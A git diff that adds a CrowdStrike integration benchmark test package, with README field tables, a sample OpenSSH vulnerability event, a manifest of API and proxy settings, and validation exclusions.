+| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | +| tags | List of keywords used to tag each event. | keyword | + + +### Vulnerability + +This is the `Vulnerability` dataset. + +#### Example + +An example event for `vulnerability` looks as following: + +```json +{ + "@timestamp": "2025-02-25T13:33:23.000Z", + "agent": { + "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a", + "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", + "name": "elastic-agent-98024", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "vulnerability": { + "aid": "897580adb4ab4540a357536faa41de18", + "app": { + "product_name_normalized": "openssh", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "vendor_normalized": "Ubuntu" + }, + "apps": [ + { + "evaluation_logic": { + "aid": "897580adb4ab4540a357536faa41de18", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "complex_check_operator": "AND", + "created_timestamp": "2025-02-20T10:15:30.000Z", + "id": "138bd6a67791327ab367838079b4d786", + "logic": [ + { + "comparison_check": "equals", + "comparisons": { + "state_comparisons": [ + { + "entity_comparisons": [ + { + "actual_value_field": "version", + "operation": "equals", + "value_datatype": "string" + } + ], + "entity_operator": "AND" + } + ], + "state_operator": "OR" + }, + "determined_by_comparison": true, + "existence_check": "Yes", + "id": "logic-12345", + "negate": false, + "status": "active", + "title": "Evaluation Logic for OpenSSH", + "type": "comparison" + } + ], + "updated_timestamp": "2025-02-25T13:33:23.000Z" + }, + "patch_publication_date": "2025-02-19T00:00:00.000Z", + "product_name_normalized": "openssh", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "remediation": { + "ids": [ + "4688299d204b35a192828bdaf556ecf8" + ] + }, + "remediation_info": { + "minimum_id": "df1af7df1d33382398fb0dc268109a4d", + "patch_publication_date": "2025-02-19T00:00:00.000Z", + "recommended_id": "4688299d207b35a192828bdaf556ecf8" + }, + "sub_status": "open", + "vendor_normalized": "Ubuntu" + } + ], + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "closed_timestamp": "2025-02-26T10:00:00.000Z", + "confidence": "confirmed", + "created_timestamp": "2025-02-20T10:10:24.000Z", + "cve": { + "base_score": 6.8, + "cisa_info": { + "due_date": "2025-03-01T00:00:00.000Z", + "is_cisa_kev": false + }, + "cwes": [ + "CWE-123" + ], + "description": "A vulnerability was found in OpenSSH...", + "exploit_status": 30, + "exploitability_score": 1.6, + "exprt_rating": "MEDIUM", + "id": "CVE-2025-26465", + "impact_score": 5.2, + "published_date": "2025-02-18T19:15:00.000Z", + "references": [ + "https://ubuntu.com/security/CVE-2025-26465" + ], + "remediation_level": "O", + "severity": "MEDIUM", + "spotlight_published_date": "2025-02-19T05:32:00.000Z", + "types": [ + "Vulnerability" + ], + "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" + }, + "data_providers": [ + { + "ports": [ + 22, + 80 + ], + "provider": "Falcon sensor", + "rating": "high", + "scan_id": "scan-123456", + "scan_time": "2025-02-20T12:00:00Z", + "scanner_id": "scanner-xyz" + } + ], + "host_info": { + "asset_criticality": "Critical", + "groups": [ + { + "id": "group-123", + "name": "Production" + } + ], + "has_run_container": false, + "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z", + "hostname": "ub24-50-10-154", + "internet_exposure": "No", + "local_ip": "1.128.0.0", + "machine_domain": "example.local", + "managed_by": "Falcon sensor", + "os_version": "Ubuntu 24.04", + "platform": "Linux", + "product_type_desc": "Server", + "service_provider": "AWS", + "service_provider_account_id": "123456789012", + "system_manufacturer": "Dell", + "tags": [ + "production", + "security" + ] + }, + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "remediation": { + "entities": [ + { + "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", + "id": "4688299d207b35a192828bdaf556ecf8", + "link": "https://ubuntu.com/security/CVE-2025-26465", + "recommendation_type": "recommended", + "reference": "1:9.6p1-3ubuntu13.8", + "title": "Update ubuntu openssh", + "vendor_url": "https://www.openssh.com" + } + ], + "ids": [ + "4688299d207b35a192828bdaf556ecf8", + "df1af7df1d33382398fb0dc268109a4d" + ] + }, + "status": "open", + "suppression_info": { + "is_suppressed": false, + "reason": "Not applicable" + }, + "updated_timestamp": "2025-02-25T13:33:23.000Z", + "vulnerability_id": "CVE-2025-26465" + } + }, + "data_stream": { + "dataset": "crowdstrike.vulnerability", + "namespace": "35952", + "type": "logs" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "vulnerability" + ], + "dataset": "crowdstrike.vulnerability", + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "ingested": "2025-08-22T08:33:35Z", + "kind": "event", + "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}", + "type": [ + "info" + ] + }, + "host": { + "id": "897580adb4ab4540a357536faa41de18", + "ip": [ + "1.128.0.0" + ], + "name": "ub24-50-10-154", + "os": { + "name": "Ubuntu 24.04", + "platform": "Linux", + "type": "linux" + } + }, + "input": { + "type": "cel" + }, + "message": "A vulnerability was found in OpenSSH...", + "observer": { + "product": "Falcon sensor", + "type": "sensor", + "vendor": "Crowdstrike" + }, + "package": { + "name": "openssh" + }, + "related": { + "hosts": [ + "ub24-50-10-154" + ], + "ip": [ + "1.128.0.0" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-vulnerability" + ], + "vulnerability": { + "description": "A vulnerability was found in OpenSSH...", + "enumeration": "CVE", + "id": "CVE-2025-26465", + "reference": [ + "https://ubuntu.com/security/CVE-2025-26465" + ], + "report_id": [ + "scan-123456" + ], + "scanner": { + "vendor": "Crowdstrike" + }, + "score": { + "base": 6.8 + }, + "severity": "Medium" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.vulnerability.aid | | keyword | +| crowdstrike.vulnerability.app.product_name_normalized | | keyword | +| crowdstrike.vulnerability.app.product_name_version | | keyword | +| crowdstrike.vulnerability.app.vendor_normalized | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.aid | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.cid | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp | | date | +| crowdstrike.vulnerability.apps.evaluation_logic.data_provider | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.description | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items | | nested | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.status | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.title | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.logic.type | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate | | boolean | +| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title | | keyword | +| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp | | date | +| crowdstrike.vulnerability.apps.patch_publication_date | | date | +| crowdstrike.vulnerability.apps.product_name_normalized | | keyword | +| crowdstrike.vulnerability.apps.product_name_version | | keyword | +| crowdstrike.vulnerability.apps.remediation.ids | | keyword | +| crowdstrike.vulnerability.apps.remediation_info.minimum_id | | keyword | +| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date | | date | +| crowdstrike.vulnerability.apps.remediation_info.recommended_id | | keyword | +| crowdstrike.vulnerability.apps.sub_status | | keyword | +| crowdstrike.vulnerability.apps.vendor_normalized | | keyword | +| crowdstrike.vulnerability.cid | | keyword | +| crowdstrike.vulnerability.closed_timestamp | | date | +| crowdstrike.vulnerability.confidence | | keyword | +| crowdstrike.vulnerability.created_timestamp | | date | +| crowdstrike.vulnerability.cve.actors | | keyword | +| crowdstrike.vulnerability.cve.base_score | | double | +| crowdstrike.vulnerability.cve.cisa_info.due_date | | date | +| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev | | boolean | +| crowdstrike.vulnerability.cve.cwes | | keyword | +| crowdstrike.vulnerability.cve.description | | keyword | +| crowdstrike.vulnerability.cve.exploit_status | | long | +| crowdstrike.vulnerability.cve.exploitability_score | | double | +| crowdstrike.vulnerability.cve.exprt_rating | | keyword | +| crowdstrike.vulnerability.cve.id | | keyword | +| crowdstrike.vulnerability.cve.impact_score | | double | +| crowdstrike.vulnerability.cve.name | | keyword | +| crowdstrike.vulnerability.cve.published_date | | date | +| crowdstrike.vulnerability.cve.references | | keyword | +| crowdstrike.vulnerability.cve.remediation_level | | keyword | +| crowdstrike.vulnerability.cve.severity | | keyword | +| crowdstrike.vulnerability.cve.spotlight_published_date | | date | +| crowdstrike.vulnerability.cve.types | | keyword | +| crowdstrike.vulnerability.cve.vector | | keyword | +| crowdstrike.vulnerability.cve.vendor_advisory | | keyword | +| crowdstrike.vulnerability.data_providers.ports | | long | +| crowdstrike.vulnerability.data_providers.provider | | keyword | +| crowdstrike.vulnerability.data_providers.rating | | keyword | +| crowdstrike.vulnerability.data_providers.scan_id | | keyword | +| crowdstrike.vulnerability.data_providers.scan_time | | keyword | +| crowdstrike.vulnerability.data_providers.scanner_id | | keyword | +| crowdstrike.vulnerability.host_info.asset_criticality | | keyword | +| crowdstrike.vulnerability.host_info.asset_roles | | keyword | +| crowdstrike.vulnerability.host_info.confidence_label | | keyword | +| crowdstrike.vulnerability.host_info.groups.id | | keyword | +| crowdstrike.vulnerability.host_info.groups.name | | keyword | +| crowdstrike.vulnerability.host_info.has_run_container | | boolean | +| crowdstrike.vulnerability.host_info.host_last_seen_timestamp | | date | +| crowdstrike.vulnerability.host_info.hostname | | keyword | +| crowdstrike.vulnerability.host_info.instance_id | | keyword | +| crowdstrike.vulnerability.host_info.internet_exposure | | keyword | +| crowdstrike.vulnerability.host_info.local_ip | | ip | +| crowdstrike.vulnerability.host_info.machine_domain | | keyword | +| crowdstrike.vulnerability.host_info.managed_by | | keyword | +| crowdstrike.vulnerability.host_info.os_build | | keyword | +| crowdstrike.vulnerability.host_info.os_version | | keyword | +| crowdstrike.vulnerability.host_info.ou | | keyword | +| crowdstrike.vulnerability.host_info.platform | | keyword | +| crowdstrike.vulnerability.host_info.product_type_desc | | keyword | +| crowdstrike.vulnerability.host_info.service_provider | | keyword | +| crowdstrike.vulnerability.host_info.service_provider_account_id | | keyword | +| crowdstrike.vulnerability.host_info.site_name | | keyword | +| crowdstrike.vulnerability.host_info.subsidiaries | | keyword | +| crowdstrike.vulnerability.host_info.system_manufacturer | | keyword | +| crowdstrike.vulnerability.host_info.tags | | keyword | +| crowdstrike.vulnerability.host_info.third_party_asset_ids | | keyword | +| crowdstrike.vulnerability.id | | keyword | +| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id | | keyword | +| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time | | keyword | +| crowdstrike.vulnerability.remediation.entities.action | | keyword | +| crowdstrike.vulnerability.remediation.entities.id | | keyword | +| crowdstrike.vulnerability.remediation.entities.link | | keyword | +| crowdstrike.vulnerability.remediation.entities.patch_publication_date | | date | +| crowdstrike.vulnerability.remediation.entities.recommendation_type | | keyword | +| crowdstrike.vulnerability.remediation.entities.reference | | keyword | +| crowdstrike.vulnerability.remediation.entities.title | | keyword | +| crowdstrike.vulnerability.remediation.entities.vendor_url | | keyword | +| crowdstrike.vulnerability.remediation.ids | | keyword | +| crowdstrike.vulnerability.services.port | | long | +| crowdstrike.vulnerability.services.protocol | | keyword | +| crowdstrike.vulnerability.services.transport | | keyword | +| crowdstrike.vulnerability.status | | keyword | +| crowdstrike.vulnerability.suppression_info.is_suppressed | | boolean | +| crowdstrike.vulnerability.suppression_info.reason | | keyword | +| crowdstrike.vulnerability.updated_timestamp | | date | +| crowdstrike.vulnerability.vulnerability_id | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| event.dataset | Event dataset. | constant_keyword | +| event.module | Event module. | constant_keyword | +| input.type | Type of filebeat input. | keyword | +| log.offset | Log offset. | long | + diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml new file mode 100644 index 0000000000..454b43658e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml @@ -0,0 +1,164 @@ +name: crowdstrike +title: CrowdStrike +version: "3.5.0" +description: Collect logs from Crowdstrike with Elastic Agent. +type: integration +format_version: "3.4.0" +categories: [security, edr_xdr] +conditions: + kibana: + version: "^8.18.0 || ^9.0.0" +icons: + - src: /img/logo-integrations-crowdstrike.svg + title: CrowdStrike + size: 216x216 + type: image/svg+xml +screenshots: + - src: /img/siem-alerts-cs.jpg + title: CrowdStrike SIEM Alerts + size: 3360x1776 + type: image/jpg + - src: /img/siem-events-cs.jpg + title: CrowdStrike SIEM Events + size: 3360x1776 + type: image/jpg + - src: /img/cs-fdr1.png + title: CrowdStrike FDR Overview + size: 1535x626 + type: image/png + - src: /img/cs-falcon1.png + title: CrowdStrike Falcon Overview + size: 1535x626 + type: image/png + - src: /img/cs-overview1.png + title: CrowdStrike Overview + size: 1535x626 + type: image/png + - src: /img/crowdstrike-alert-dashboard.png + title: CrowdStrike Alert + size: 1535x626 + type: image/png + - src: /img/crowdstrike-host-dashboard.png + title: CrowdStrike Host + size: 1535x626 + type: image/png + - src: /img/crowdstrike-vulnerability-dashboard.png + title: CrowdStrike Vulnerability + size: 1535x626 + type: image/png +policy_templates: + - name: crowdstrike + title: CrowdStrike + description: Collect logs from CrowdStrike Falcon and FDR + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations + inputs: + - type: logfile + title: "Collect CrowdStrike Falcon and FDR logs (input: logfile)" + description: "Collecting logs from CrowdStrike Falcon and FDR (input: logfile)" + - type: aws-s3 + title: "Collect CrowdStrike Falcon Data Replicator logs (input: aws-s3)" + description: "Collecting logs from CrowdStrike Falcon Data Replicator (input: aws-s3)" + - type: streaming + title: Collect CrowdStrike Falcon Logs via Event Stream + description: Collecting CrowdStrike Falcon Logs via Event Stream. + vars: + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http[s]://:@:. Ensure your username and password are in URL encoded format. + - name: proxy_headers + type: yaml + title: Proxy headers + multi: false + required: false + show_user: false + description: This specifies the headers to be sent to the proxy server. + - type: cel + title: Collect CrowdStrike logs via API + description: Collecting CrowdStrike logs via API. + vars: + - name: client_id + type: text + title: Client ID + description: Client ID for the CrowdStrike. + multi: false + required: true + show_user: true + - name: client_secret + type: password + title: Client Secret + description: Client Secret for the CrowdStrike. + multi: false + required: true + show_user: true + secret: true + - name: url + type: text + title: URL + description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com + default: https://api.crowdstrike.com + required: true + show_user: true + - name: token_url + type: text + title: Token URL + description: Token URL of CrowdStrike. + default: https://api.crowdstrike.com/oauth2/token + required: true + show_user: false + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. + - name: proxy_headers + type: yaml + title: Proxy headers + multi: false + required: false + show_user: false + description: This specifies the headers to be sent to the proxy server. + - name: ssl + type: yaml + title: SSL Configuration + description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. + multi: false + required: false + show_user: false + default: | + #certificate_authorities: + # - | + # -----BEGIN CERTIFICATE----- + # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF + # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 + # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB + # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n + # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl + # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t + # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP + # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 + # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O + # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux + # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D + # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw + # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA + # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu + # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 + # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk + # sxSmbIUfc2SGJGCJD4I= + # -----END CERTIFICATE----- +owner: + github: elastic/security-service-integrations + type: elastic diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml new file mode 100644 index 0000000000..ab145056ed --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml @@ -0,0 +1,7 @@ +errors: + exclude_checks: + - SVR00001 # Saved query, but no filter. + - SVR00002 + - SVR00004 # Saved search not allowed? + - SVR00005 # Kibana version for saved tags. + - JSE00001 # Array lists not recognised. From 183b527f063405acd443938626977d5ae91fa462 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Feb 2026 22:17:14 +0530 Subject: [PATCH 03/19] fix build failure on test package --- .../_dev/build/docs/README.md | 54 - .../docs/README.md | 1276 +---------------- .../img/crowdstrike-alert-dashboard.png | Bin 0 -> 791493 bytes .../img/crowdstrike-host-dashboard.png | Bin 0 -> 213390 bytes .../crowdstrike-vulnerability-dashboard.png | Bin 0 -> 599868 bytes .../img/cs-falcon1.png | Bin 0 -> 216782 bytes .../img/cs-fdr1.png | Bin 0 -> 293841 bytes .../img/cs-overview1.png | Bin 0 -> 223737 bytes .../img/logo-integrations-crowdstrike.svg | 1 + .../img/siem-alerts-cs.jpg | Bin 0 -> 399141 bytes .../img/siem-events-cs.jpg | Bin 0 -> 523409 bytes 11 files changed, 8 insertions(+), 1323 deletions(-) create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-host-dashboard.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-vulnerability-dashboard.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-fdr1.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/logo-integrations-crowdstrike.svg create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-alerts-cs.jpg create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/img/siem-events-cs.jpg diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md index 9b9d1f476d..7c2c83bcf8 100644 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md @@ -97,40 +97,6 @@ This is the `Alert` dataset. {{fields "alert"}} -### Falcon - -Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector. - -#### Falcon SIEM Connector configuration file - -By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector. - -Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect. - -Current supported event types are: -- CustomerIOCEvent -- DataProtectionDetectionSummaryEvent -- DetectionSummaryEvent -- EppDetectionSummaryEvent -- IncidentSummaryEvent -- UserActivityAuditEvent -- AuthActivityAuditEvent -- FirewallMatchEvent -- RemoteResponseSessionStartEvent -- RemoteResponseSessionEndEvent -- CSPM Streaming events -- CSPM Search events -- IDP Incidents -- IDP Summary events -- Mobile Detection events -- Recon Notification events -- XDR Detection events -- Scheduled Report Notification events - -{{fields "falcon"}} - -{{event "falcon"}} - ### FDR The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike @@ -297,23 +263,3 @@ If the severity name is not available from the original document, it is determin {{fields "fdr"}} {{event "fdr"}} - -### Host - -This is the `Host` dataset. - -#### Example - -{{event "host"}} - -{{fields "host"}} - -### Vulnerability - -This is the `Vulnerability` dataset. - -#### Example - -{{event "vulnerability"}} - -{{fields "vulnerability"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md index 6c8dc59146..6598cc58b1 100644 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md @@ -754,519 +754,6 @@ An example event for `alert` looks as following: | threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | -### Falcon - -Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector. - -#### Falcon SIEM Connector configuration file - -By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector. - -Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect. - -Current supported event types are: -- CustomerIOCEvent -- DataProtectionDetectionSummaryEvent -- DetectionSummaryEvent -- EppDetectionSummaryEvent -- IncidentSummaryEvent -- UserActivityAuditEvent -- 